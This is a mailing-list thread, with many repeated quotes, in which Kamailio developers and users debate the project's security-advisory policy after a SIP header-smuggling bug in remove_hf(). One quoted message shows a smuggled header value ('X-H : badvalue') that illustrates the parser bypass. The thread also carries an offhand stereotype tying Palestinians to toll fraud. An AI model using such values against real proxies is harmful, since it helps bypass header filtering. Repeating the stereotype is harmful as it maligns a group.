So, If people in this discussion (or other people on the list) are interested in improving the project security processes – this wiki page with the current process might be a good starting point:https://www.kamailio.org/wiki/security/policy https://www.kamailio.org/wiki/security/policy
Please suggest your improvements to the existing process (preferable in a new discussion thread) on the sr-dev list. If you want to do it in private, feel free contact the management list.
Well, first suggestion after having read it: to start actually following what's documented before any improvements are made. ;-) The policy says plain and simple (quote):
Publishing security vulnerabilities
Kamailio will publish security vulnerabilities, including an CVE ID, on the kamailio-business mailing list, sr-dev, sr-users as well as related lists. The advisories will also be published on the kamailio.org http://kamailio.org/ web site.
CVE entries should be created for vulnerabilities in the core and major modules, for rarely used modules this is not necessary. If there are several security issues together in one release, they should be announced together.
I might be missing something obvious, but there is no "if" or "maybe" or "it depends". Any module that has been 18 years with the project qualifies to be a "major module" to me...
-Max
Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org mailto:sr-users@lists.kamailio.org https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users _______________________________________________ Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org mailto:sr-users@lists.kamailio.org https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org mailto:sr-users@lists.kamailio.org https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org mailto:sr-users@lists.kamailio.org https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
-- Daniel-Constantin Mierla -- www.asipto.com http://www.asipto.com/ www.twitter.com/miconda http://www.twitter.com/miconda -- www.linkedin.com/in/miconda http://www.linkedin.com/in/miconda Funding: https://www.paypal.me/dcmierla https://www.paypal.me/dcmierla_______________________________________________ Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org mailto:sr-users@lists.kamailio.org https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
Hi Olle,
the page you are pointing to does not contain any Kamailio security advisories. What is needed is a timeline of advisories so one can and understand whether one's system is vulnerable, and what the vulnerability is - like this: https://www.asterisk.org/downloads/security-advisories/ https://www.asterisk.org/downloads/security-advisories/ As mentioned it would be also helpful to label github issues so one can filter for security issues.
Best Gerry
On 22 Sep 2020, at 15:26, Olle E. Johansson oej@edvina.net wrote:
On 22 Sep 2020, at 13:30, Gerry | Rigatta <gjacobsen@rigatta.com mailto:gjacobsen@rigatta.com> wrote:
Hi Daniel,
your frustration is understandable and I hope you excuse a further comment. What is missing, IMVHO, is a central point of reference for all Kamailio security issues. Googling for “Kamailio security” reveals https://www.cvedetails.com/vulnerability-list/vendor_id-15820/Kamailio.html https://www.cvedetails.com/vulnerability-list/vendor_id-15820/Kamailio.html as the most comprehensive source. However it lacks this latest header bug.
https://www.kamailio.org/wiki/security/policy https://www.kamailio.org/wiki/security/policy
Maybe we should make it easier to find from the home page as you did not find it.
/O
My suggestion would be to create a special “Security Advisories” page on the kamailio website which points to security news, so that Google indexes that page. As for example Asterisk has https://www.asterisk.org/downloads/security-advisories/ https://www.asterisk.org/downloads/security-advisories/
And create on github an extra “security” label so one can filter for that. https://github.com/kamailio/kamailio/labels https://github.com/kamailio/kamailio/labels And then point from the above mentioned “Security Advisories” page to a filtered github view.
Thanks for your great work on Kamailio. Its highly appreciated!
Best Gerry
On 22 Sep 2020, at 12:55, Daniel-Constantin Mierla <miconda@gmail.com mailto:miconda@gmail.com> wrote:
At least in my case you push out some inaccurate information. I never said my "deployments were not affected since non-standard headers were not used".
Iirc, I only said that none of my deployments were affected by this issue -- respectively quoting from my message: "None of my deployments were affected." from:https://lists.kamailio.org/pipermail/sr-users/2020-September/110315.html https://lists.kamailio.org/pipermail/sr-users/2020-September/110315.html . If I am mistaken and you found another remark from me, just point to my message from where you got that.
So, for further clarification: either non standard headers were used for non-security related features (e.g., used for troubleshooting purposes) or the issue didn't affect the deployments from different perspective (e.g., traffic was checked to be from a trusted source).
And remember that the issue was not with remove_hf() function itself, like it is somehow propagated by blog posts, but it was in the parser, so use of custom headers between two kamailio was not affected if an edge proxy did something like:
remove_hf("X-H");
append_hf("X-H: abc\r\n");
And then, if next hop Kamailio was using $hdr(X-H), it will get "abc" (value added by previous Kamailio), not what a bad actor would add as "X-H : badvalue\r\n" sip header.
Then you listed two commits you consider there should have been security advisories about. Have you analysed the code and found cases where security was affected, or is just your opinion in based on the commit message and code patch?
First, I would love that one or many spend time to dissect commits and see their security implication. I am more that happy when someone does it and let's everyone be aware of, also to write and publish appropriate advisory.
Otherwise, for those two specific commits you listed, the one from Federico is a memory leak, I haven't spent time on going deeper to find the specific cases, From header should be parsed in SIP requests. My commit was done based on a static code analyzer and again I was not spending time to see what implications are.
In general, in the code we work a lot with str structure (non-zero terminated char* and len), many of the "safety" commits done lately were to silent static code analysers, not meaning that it was a real issue found behind. Some can be, and here we appreciate the time and effort of people like you to dissect them and make appropriate advisories.
I would like people do verify what they write about what specific people (of course, specially for my person) said before pushing out, and eventually validate a commit to fix something has security impact, instead of just personal guessing, if the intention is to help the project and not to create more confusion or other reactions for what so ever reasons.
This should be my last comment on the thread, I do not want to spend any more time in clarifying what people think I said or I did.
Cheers, Daniel
On 22.09.20 11:31, Sandro Gauci wrote:
I know I am waking up an old debate by replying to this thread. Deeply sorry :-)
Finally got around to writing up a blog post about this very thread where I (think) I spared absolutely no one, not even myself.
My post is called "The great Kamailio security debate and some misconceptions debunked" and can be read here:
https://www.rtcsec.com/2020/09/02-kamailio-security-debate-and-misconception... https://www.rtcsec.com/2020/09/02-kamailio-security-debate-and-misconceptions/
The ToC: Introduction A bit of background before diving in Claim: this issue does not affect many organisations Claim: custom headers are only known to internal users Claim: if it’s an 18 year old bug, it can’t have been high risk Claim: this should have been found if people were doing proper testing Claim: infrequent advisories = project is not serious about security Claim: limited number of advisories = project is more secure Claim: if you’re serious about security, monitor the mailing lists Claim: security experts should decide what is a security vulnerability Discussion: when should the project publish an advisory? Discussion: educational security role Moving forward Hope that it is at least interesting and perhaps even constructive!
Best wishes,
--
Sandro Gauci, CEO at Enable Security GmbH Register of Companies: AG Charlottenburg HRB 173016 B Company HQ: Pappelallee 78/79, 10437 Berlin, Germany PGP/Encrypted comms: https://keybase.io/sandrogauci <https://keybase.io/sandrogauci> Our blog: https://www.rtcsec.com <https://www.rtcsec.com/> Other points of contact: https://enablesecurity.com/#contact-us <https://enablesecurity.com/#contact-us>
On Thu, 3 Sep 2020, at 10:34 AM, Olle E. Johansson wrote:
Well, you have defined one definitive line between being stupid and following some current practise :-)
I like to think we as a project have an educational role as well. In this case explaining the bug we had and what it can cause. We should definitely add a warning along the lines you write too - relying on headers alone is bad and not best current practise.
/O
On 3 Sep 2020, at 10:14, davy van de moere <davy.van.de.moere@gmail.com mailto:davy.van.de.moere@gmail.com> wrote:
After 20 years in voip, my 2 cents on this, if you succeed in creating a voip system where the security of the whole relies on the ability to remove (or only keep specific) custom sip headers, you will wake up one morning realizing a bunch of people in Palestine made a gazillion calls over your system to expensive destinations, bringing you to or over the edge of bankruptcy.
Security should be multilayered, one header sneaking through should not give any big problems.
From a security point of view, this could be called a 'normal' security risk, I think. It's a bit more than low as you can do more than just get some info, but it's not high, as you would need to have many other factors going wrong to get to a successful exploit.
Op do 3 sep. 2020 om 09:18 schreef Olle E. Johansson <oej@edvina.net mailto:oej@edvina.net>: One thought - we may have to separate security vulnerability reporting from security advisory documents. I think in some cases, where a common use of a product can lead to issues (but it is not clearly a bug that cause crashes in our code) we may have to send out an advisory and publish it in the same way. The problem with that is where the border is between just doing stupid things like taking SQL statements from SIP headers and issues like this that are harder to catch.
We had a long and hard discussion about this in the Asterisk project many years ago - a very common dialplan construct (that was documented in many places) was indeed very dangerous. It wasn’t any code in asterisk that caused the issue, just a common dialplan construct that existed in many, many production systems. In the end, if I remember correctly, the project issued an advisory and added a README about it.
Maybe that’s a way forward.
/O
> On 2 Sep 2020, at 21:25, Henning Westerholt <hw@skalatan.de mailto:hw@skalatan.de> wrote: > > Hello Maxim, > > have a look to the first sentence: > > “A security vulnerability is (for example) when a user of Kamailio can cause Kamailio to crash or lock up by sending messages to the server process.” > > So there is some limitation regarding vulnerability criticality defined in there. But of course (as I already mentioned), it might be improved to e.g. use CVSS scoring instead. > > Cheers, > > Henning > > From: Maxim Sobolev <sobomax@sippysoft.com mailto:sobomax@sippysoft.com> > Sent: Wednesday, September 2, 2020 9:15 PM > To: Henning Westerholt <hw@skalatan.de mailto:hw@skalatan.de> > Cc: Daniel-Constantin Mierla <miconda@gmail.com mailto:miconda@gmail.com>; yufei.tao@gmail.com mailto:yufei.tao@gmail.com; Olle E. Johansson <oej@edvina.net mailto:oej@edvina.net>; Gerry | Rigatta <gjacobsen@rigatta.com mailto:gjacobsen@rigatta.com>; Kamailio (SER) - Users Mailing List <sr-users@lists.kamailio.org mailto:sr-users@lists.kamailio.org>; jbrower@signalogic.com mailto:jbrower@signalogic.com > Subject: Re: [SR-Users] Kamailio vulnerable to header smuggling possible due to bypass of remove_hf > > On Wed, Sep 2, 2020 at 11:30 AM Henning Westerholt <hw@skalatan.de mailto:hw@skalatan.de> wrote: > Hello Maxim, > > thank you for the clarification, appreciated. > > No worries, hope to have a civilized discussion. > > Just one clarification, my comment regarding the advisory from 2018 was not meant as advertisement etc.. > > Point taken, I dramatized of course to underline my point. > > One suggestion to objectify the whole discussion, there exists a well-known and accepted metric for vulnerabilities: CVSS [1] > If I calculate the CVSS score for this issue, it results in a medium level with score 5.8. But this is of course again (at least somewhat) influenced from my point of view to this bug. > > Some projects have a policy to only do a security announcement for vulnerabilities with score high and critical. For Kamailio this is not yet defined in a detailed way, due to the size of the project and other factors. > > So, If people in this discussion (or other people on the list) are interested in improving the project security processes – this wiki page with the current process might be a good starting point:https://www.kamailio.org/wiki/security/policy https://www.kamailio.org/wiki/security/policy > > Please suggest your improvements to the existing process (preferable in a new discussion thread) on the sr-dev list. If you want to do it in private, feel free contact the management list. > > Well, first suggestion after having read it: to start actually following what's documented before any improvements are made. ;-) The policy says plain and simple (quote): > > Publishing security vulnerabilities > > Kamailio will publish security vulnerabilities, including an CVE ID, on the kamailio-business mailing list, sr-dev, sr-users as well as related lists. The advisories will also be published on the kamailio.org http://kamailio.org/ web site. > > CVE entries should be created for vulnerabilities in the core and major modules, for rarely used modules this is not necessary. If there are several security issues together in one release, they should be announced together. > > I might be missing something obvious, but there is no "if" or "maybe" or "it depends". Any module that has been 18 years with the project qualifies to be a "major module" to me... > > -Max
Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org mailto:sr-users@lists.kamailio.org https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users _______________________________________________ Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org mailto:sr-users@lists.kamailio.org https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org mailto:sr-users@lists.kamailio.org https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org mailto:sr-users@lists.kamailio.org https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
-- Daniel-Constantin Mierla -- www.asipto.com http://www.asipto.com/ www.twitter.com/miconda http://www.twitter.com/miconda -- www.linkedin.com/in/miconda http://www.linkedin.com/in/miconda Funding: https://www.paypal.me/dcmierla https://www.paypal.me/dcmierla_______________________________________________ Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org mailto:sr-users@lists.kamailio.org https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org mailto:sr-users@lists.kamailio.org https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
On 22 Sep 2020, at 16:19, Gerry | Rigatta gjacobsen@rigatta.com wrote:
Hi Olle,
the page you are pointing to does not contain any Kamailio security advisories. What is needed is a timeline of advisories so one can and understand whether one's system is vulnerable, and what the vulnerability is - like this: https://www.asterisk.org/downloads/security-advisories/ https://www.asterisk.org/downloads/security-advisories/
When we publish advisories, there will be a timeline of them.
As mentioned it would be also helpful to label github issues so one can filter for security issues.
As many have stated here, we are looking for volonteers to help. Most developers are aiming to fix issues quickly as they pop up.
As I stated earlier, this requires a larger discussion between developers. Thanks for your input!
Trust me, what you add here is something we have discussed many times before, not just now and we are very well aware of it.
/O
Best Gerry
On 22 Sep 2020, at 15:26, Olle E. Johansson <oej@edvina.net mailto:oej@edvina.net> wrote:
On 22 Sep 2020, at 13:30, Gerry | Rigatta <gjacobsen@rigatta.com mailto:gjacobsen@rigatta.com> wrote:
Hi Daniel,
your frustration is understandable and I hope you excuse a further comment. What is missing, IMVHO, is a central point of reference for all Kamailio security issues. Googling for “Kamailio security” reveals https://www.cvedetails.com/vulnerability-list/vendor_id-15820/Kamailio.html https://www.cvedetails.com/vulnerability-list/vendor_id-15820/Kamailio.html as the most comprehensive source. However it lacks this latest header bug.
https://www.kamailio.org/wiki/security/policy https://www.kamailio.org/wiki/security/policy
Maybe we should make it easier to find from the home page as you did not find it.
/O
My suggestion would be to create a special “Security Advisories” page on the kamailio website which points to security news, so that Google indexes that page. As for example Asterisk has https://www.asterisk.org/downloads/security-advisories/ https://www.asterisk.org/downloads/security-advisories/
And create on github an extra “security” label so one can filter for that. https://github.com/kamailio/kamailio/labels https://github.com/kamailio/kamailio/labels And then point from the above mentioned “Security Advisories” page to a filtered github view.
Thanks for your great work on Kamailio. Its highly appreciated!
Best Gerry
On 22 Sep 2020, at 12:55, Daniel-Constantin Mierla <miconda@gmail.com mailto:miconda@gmail.com> wrote:
At least in my case you push out some inaccurate information. I never said my "deployments were not affected since non-standard headers were not used".
Iirc, I only said that none of my deployments were affected by this issue -- respectively quoting from my message: "None of my deployments were affected." from:https://lists.kamailio.org/pipermail/sr-users/2020-September/110315.html https://lists.kamailio.org/pipermail/sr-users/2020-September/110315.html . If I am mistaken and you found another remark from me, just point to my message from where you got that.
So, for further clarification: either non standard headers were used for non-security related features (e.g., used for troubleshooting purposes) or the issue didn't affect the deployments from different perspective (e.g., traffic was checked to be from a trusted source).
And remember that the issue was not with remove_hf() function itself, like it is somehow propagated by blog posts, but it was in the parser, so use of custom headers between two kamailio was not affected if an edge proxy did something like:
remove_hf("X-H");
append_hf("X-H: abc\r\n");
And then, if next hop Kamailio was using $hdr(X-H), it will get "abc" (value added by previous Kamailio), not what a bad actor would add as "X-H : badvalue\r\n" sip header.
Then you listed two commits you consider there should have been security advisories about. Have you analysed the code and found cases where security was affected, or is just your opinion in based on the commit message and code patch?
First, I would love that one or many spend time to dissect commits and see their security implication. I am more that happy when someone does it and let's everyone be aware of, also to write and publish appropriate advisory.
Otherwise, for those two specific commits you listed, the one from Federico is a memory leak, I haven't spent time on going deeper to find the specific cases, From header should be parsed in SIP requests. My commit was done based on a static code analyzer and again I was not spending time to see what implications are.
In general, in the code we work a lot with str structure (non-zero terminated char* and len), many of the "safety" commits done lately were to silent static code analysers, not meaning that it was a real issue found behind. Some can be, and here we appreciate the time and effort of people like you to dissect them and make appropriate advisories.
I would like people do verify what they write about what specific people (of course, specially for my person) said before pushing out, and eventually validate a commit to fix something has security impact, instead of just personal guessing, if the intention is to help the project and not to create more confusion or other reactions for what so ever reasons.
This should be my last comment on the thread, I do not want to spend any more time in clarifying what people think I said or I did.
Cheers, Daniel
On 22.09.20 11:31, Sandro Gauci wrote:
I know I am waking up an old debate by replying to this thread. Deeply sorry :-)
Finally got around to writing up a blog post about this very thread where I (think) I spared absolutely no one, not even myself.
My post is called "The great Kamailio security debate and some misconceptions debunked" and can be read here:
https://www.rtcsec.com/2020/09/02-kamailio-security-debate-and-misconception... https://www.rtcsec.com/2020/09/02-kamailio-security-debate-and-misconceptions/
The ToC: Introduction A bit of background before diving in Claim: this issue does not affect many organisations Claim: custom headers are only known to internal users Claim: if it’s an 18 year old bug, it can’t have been high risk Claim: this should have been found if people were doing proper testing Claim: infrequent advisories = project is not serious about security Claim: limited number of advisories = project is more secure Claim: if you’re serious about security, monitor the mailing lists Claim: security experts should decide what is a security vulnerability Discussion: when should the project publish an advisory? Discussion: educational security role Moving forward Hope that it is at least interesting and perhaps even constructive!
Best wishes,
--
Sandro Gauci, CEO at Enable Security GmbH Register of Companies: AG Charlottenburg HRB 173016 B Company HQ: Pappelallee 78/79, 10437 Berlin, Germany PGP/Encrypted comms: https://keybase.io/sandrogauci <https://keybase.io/sandrogauci> Our blog: https://www.rtcsec.com <https://www.rtcsec.com/> Other points of contact: https://enablesecurity.com/#contact-us <https://enablesecurity.com/#contact-us>
On Thu, 3 Sep 2020, at 10:34 AM, Olle E. Johansson wrote:
Well, you have defined one definitive line between being stupid and following some current practise :-)
I like to think we as a project have an educational role as well. In this case explaining the bug we had and what it can cause. We should definitely add a warning along the lines you write too - relying on headers alone is bad and not best current practise.
/O
> On 3 Sep 2020, at 10:14, davy van de moere <davy.van.de.moere@gmail.com mailto:davy.van.de.moere@gmail.com> wrote: > > After 20 years in voip, my 2 cents on this, if you succeed in creating a voip system where the security of the whole relies on the ability to remove (or only keep specific) custom sip headers, you will wake up one morning realizing a bunch of people in Palestine made a gazillion calls over your system to expensive destinations, bringing you to or over the edge of bankruptcy. > > Security should be multilayered, one header sneaking through should not give any big problems. > > From a security point of view, this could be called a 'normal' security risk, I think. It's a bit more than low as you can do more than just get some info, but it's not high, as you would need to have many other factors going wrong to get to a successful exploit. > > > > > Op do 3 sep. 2020 om 09:18 schreef Olle E. Johansson <oej@edvina.net mailto:oej@edvina.net>: > One thought - we may have to separate security vulnerability reporting from security advisory documents. I think in some cases, where a common use of a product can lead to issues (but it is not clearly a bug that cause crashes in our code) we may have to send out an advisory and publish it in the same way. The problem with that is where the border is between just doing stupid things like taking SQL statements from SIP headers and issues like this that are harder to catch. > > We had a long and hard discussion about this in the Asterisk project many years ago - a very common dialplan construct (that was documented in many places) was indeed very dangerous. It wasn’t any code in asterisk that caused the issue, just a common dialplan construct that existed in many, many production systems. In the end, if I remember correctly, the project issued an advisory and added a README about it. > > Maybe that’s a way forward. > > /O > >> On 2 Sep 2020, at 21:25, Henning Westerholt <hw@skalatan.de mailto:hw@skalatan.de> wrote: >> >> Hello Maxim, >> >> have a look to the first sentence: >> >> “A security vulnerability is (for example) when a user of Kamailio can cause Kamailio to crash or lock up by sending messages to the server process.” >> >> So there is some limitation regarding vulnerability criticality defined in there. But of course (as I already mentioned), it might be improved to e.g. use CVSS scoring instead. >> >> Cheers, >> >> Henning >> >> From: Maxim Sobolev <sobomax@sippysoft.com mailto:sobomax@sippysoft.com> >> Sent: Wednesday, September 2, 2020 9:15 PM >> To: Henning Westerholt <hw@skalatan.de mailto:hw@skalatan.de> >> Cc: Daniel-Constantin Mierla <miconda@gmail.com mailto:miconda@gmail.com>; yufei.tao@gmail.com mailto:yufei.tao@gmail.com; Olle E. Johansson <oej@edvina.net mailto:oej@edvina.net>; Gerry | Rigatta <gjacobsen@rigatta.com mailto:gjacobsen@rigatta.com>; Kamailio (SER) - Users Mailing List <sr-users@lists.kamailio.org mailto:sr-users@lists.kamailio.org>; jbrower@signalogic.com mailto:jbrower@signalogic.com >> Subject: Re: [SR-Users] Kamailio vulnerable to header smuggling possible due to bypass of remove_hf >> >> On Wed, Sep 2, 2020 at 11:30 AM Henning Westerholt <hw@skalatan.de mailto:hw@skalatan.de> wrote: >> Hello Maxim, >> >> thank you for the clarification, appreciated. >> >> No worries, hope to have a civilized discussion. >> >> Just one clarification, my comment regarding the advisory from 2018 was not meant as advertisement etc.. >> >> Point taken, I dramatized of course to underline my point. >> >> One suggestion to objectify the whole discussion, there exists a well-known and accepted metric for vulnerabilities: CVSS [1] >> If I calculate the CVSS score for this issue, it results in a medium level with score 5.8. But this is of course again (at least somewhat) influenced from my point of view to this bug. >> >> Some projects have a policy to only do a security announcement for vulnerabilities with score high and critical. For Kamailio this is not yet defined in a detailed way, due to the size of the project and other factors. >> >> So, If people in this discussion (or other people on the list) are interested in improving the project security processes – this wiki page with the current process might be a good starting point:https://www.kamailio.org/wiki/security/policy https://www.kamailio.org/wiki/security/policy >> >> Please suggest your improvements to the existing process (preferable in a new discussion thread) on the sr-dev list. If you want to do it in private, feel free contact the management list. >> >> Well, first suggestion after having read it: to start actually following what's documented before any improvements are made. ;-) The policy says plain and simple (quote): >> >> Publishing security vulnerabilities >> >> Kamailio will publish security vulnerabilities, including an CVE ID, on the kamailio-business mailing list, sr-dev, sr-users as well as related lists. The advisories will also be published on the kamailio.org http://kamailio.org/ web site. >> >> CVE entries should be created for vulnerabilities in the core and major modules, for rarely used modules this is not necessary. If there are several security issues together in one release, they should be announced together. >> >> I might be missing something obvious, but there is no "if" or "maybe" or "it depends". Any module that has been 18 years with the project qualifies to be a "major module" to me... >> >> -Max > > > _______________________________________________ > Kamailio (SER) - Users Mailing List > sr-users@lists.kamailio.org mailto:sr-users@lists.kamailio.org > https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users > _______________________________________________ > Kamailio (SER) - Users Mailing List > sr-users@lists.kamailio.org mailto:sr-users@lists.kamailio.org > https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org mailto:sr-users@lists.kamailio.org https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org mailto:sr-users@lists.kamailio.org https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
-- Daniel-Constantin Mierla -- www.asipto.com http://www.asipto.com/ www.twitter.com/miconda http://www.twitter.com/miconda -- www.linkedin.com/in/miconda http://www.linkedin.com/in/miconda Funding: https://www.paypal.me/dcmierla https://www.paypal.me/dcmierla_______________________________________________ Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org mailto:sr-users@lists.kamailio.org https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org mailto:sr-users@lists.kamailio.org https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org mailto:sr-users@lists.kamailio.org https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
On Tue, 22 Sep 2020, at 12:55 PM, Daniel-Constantin Mierla wrote:
At least in my case you push out some inaccurate information. I never said my "deployments were not affected since non-standard headers were not used".
Sorry about the misquote. I have clarified that part of the post.
If anyone feels that I misquoted them, feel free to reach out directly on list, offlist or over matrix/wire etc (sandrogauci).
Iirc, I only said that none of my deployments were affected by this issue -- respectively quoting from my message: "None of my deployments were affected." from: https://lists.kamailio.org/pipermail/sr-users/2020-September/110315.html . If I am mistaken and you found another remark from me, just point to my message from where you got that.
So, for further clarification: either non standard headers were used for non-security related features (e.g., used for troubleshooting purposes) or the issue didn't affect the deployments from different perspective (e.g., traffic was checked to be from a trusted source).
And remember that the issue was not with remove_hf() function itself, like it is somehow propagated by blog posts, but it was in the parser, so use of custom headers between two kamailio was not affected if an edge proxy did something like:
remove_hf("X-H");
append_hf("X-H: abc\r\n");
And then, if next hop Kamailio was using $hdr(X-H), it will get "abc" (value added by previous Kamailio), not what a bad actor would add as "X-H : badvalue\r\n" sip header.
Then you listed two commits you consider there should have been security advisories about. Have you analysed the code and found cases where security was affected, or is just your opinion in based on the commit message and code patch?
First, I would love that one or many spend time to dissect commits and see their security implication. I am more that happy when someone does it and let's everyone be aware of, also to write and publish appropriate advisory.
Otherwise, for those two specific commits you listed, the one from Federico is a memory leak, I haven't spent time on going deeper to find the specific cases, From header should be parsed in SIP requests. My commit was done based on a static code analyzer and again I was not spending time to see what implications are.
In general, in the code we work a lot with str structure (non-zero terminated char* and len), many of the "safety" commits done lately were to silent static code analysers, not meaning that it was a real issue found behind. Some can be, and here we appreciate the time and effort of people like you to dissect them and make appropriate advisories.
I would like people do verify what they write about what specific people (of course, specially for my person) said before pushing out, and eventually validate a commit to fix something has security impact, instead of just personal guessing, if the intention is to help the project and not to create more confusion or other reactions for what so ever reasons.
This should be my last comment on the thread, I do not want to spend any more time in clarifying what people think I said or I did.
Cheers, Daniel
On 22.09.20 11:31, Sandro Gauci wrote:
I know I am waking up an old debate by replying to this thread. Deeply sorry :-)
Finally got around to writing up a blog post about this very thread where I (think) I spared absolutely no one, not even myself.
My post is called "The great Kamailio security debate and some misconceptions debunked" and can be read here:
https://www.rtcsec.com/2020/09/02-kamailio-security-debate-and-misconception...
The ToC:
- Introduction
- A bit of background before diving in
- Claim: this issue does not affect many organisations
- Claim: custom headers are only known to internal users
- Claim: if it’s an 18 year old bug, it can’t have been high risk
- Claim: this should have been found if people were doing proper testing
- Claim: infrequent advisories = project is not serious about security
- Claim: limited number of advisories = project is more secure
- Claim: if you’re serious about security, monitor the mailing lists
- Claim: security experts should decide what is a security vulnerability
- Discussion: when should the project publish an advisory?
- Discussion: educational security role
- Moving forward
Hope that it is at least interesting and perhaps even constructive!
Best wishes,
--
Sandro Gauci, CEO at Enable Security GmbH Register of Companies: AG Charlottenburg HRB 173016 B Company HQ: Pappelallee 78/79, 10437 Berlin, Germany PGP/Encrypted comms: https://keybase.io/sandrogauci Our blog: https://www.rtcsec.com Other points of contact: https://enablesecurity.com/#contact-us
On Thu, 3 Sep 2020, at 10:34 AM, Olle E. Johansson wrote:
Well, you have defined one definitive line between being stupid and following some current practise :-)
I like to think we as a project have an educational role as well. In this case explaining the bug we had and what it can cause. We should definitely add a warning along the lines you write too - relying on headers alone is bad and not best current practise.
/O
On 3 Sep 2020, at 10:14, davy van de moere davy.van.de.moere@gmail.com wrote:
After 20 years in voip, my 2 cents on this, if you succeed in creating a voip system where the security of the whole relies on the ability to remove (or only keep specific) custom sip headers, you will wake up one morning realizing a bunch of people in Palestine made a gazillion calls over your system to expensive destinations, bringing you to or over the edge of bankruptcy.
Security should be multilayered, one header sneaking through should not give any big problems.
From a security point of view, this could be called a 'normal' security risk, I think. It's a bit more than low as you can do more than just get some info, but it's not high, as you would need to have many other factors going wrong to get to a successful exploit.
Op do 3 sep. 2020 om 09:18 schreef Olle E. Johansson oej@edvina.net:
One thought - we may have to separate security vulnerability reporting from security advisory documents. I think in some cases, where a common use of a product can lead to issues (but it is not clearly a bug that cause crashes in our code) we may have to send out an advisory and publish it in the same way. The problem with that is where the border is between just doing stupid things like taking SQL statements from SIP headers and issues like this that are harder to catch.
We had a long and hard discussion about this in the Asterisk project many years ago - a very common dialplan construct (that was documented in many places) was indeed very dangerous. It wasn’t any code in asterisk that caused the issue, just a common dialplan construct that existed in many, many production systems. In the end, if I remember correctly, the project issued an advisory and added a README about it.
Maybe that’s a way forward.
/O
On 2 Sep 2020, at 21:25, Henning Westerholt hw@skalatan.de wrote:
Hello Maxim,
have a look to the first sentence:
“A security vulnerability is (for example) when a user of Kamailio can cause Kamailio to crash or lock up by sending messages to the server process.”
So there is some limitation regarding vulnerability criticality defined in there. But of course (as I already mentioned), it might be improved to e.g. use CVSS scoring instead.
Cheers,
Henning
*From:* Maxim Sobolev sobomax@sippysoft.com *Sent:* Wednesday, September 2, 2020 9:15 PM *To:* Henning Westerholt hw@skalatan.de *Cc:* Daniel-Constantin Mierla miconda@gmail.com; yufei.tao@gmail.com; Olle E. Johansson oej@edvina.net; Gerry | Rigatta gjacobsen@rigatta.com; Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org; jbrower@signalogic.com *Subject:* Re: [SR-Users] Kamailio vulnerable to header smuggling possible due to bypass of remove_hf
On Wed, Sep 2, 2020 at 11:30 AM Henning Westerholt hw@skalatan.de wrote: > Hello Maxim, > > thank you for the clarification, appreciated.
No worries, hope to have a civilized discussion.
> Just one clarification, my comment regarding the advisory from 2018 was not meant as advertisement etc..
Point taken, I dramatized of course to underline my point.
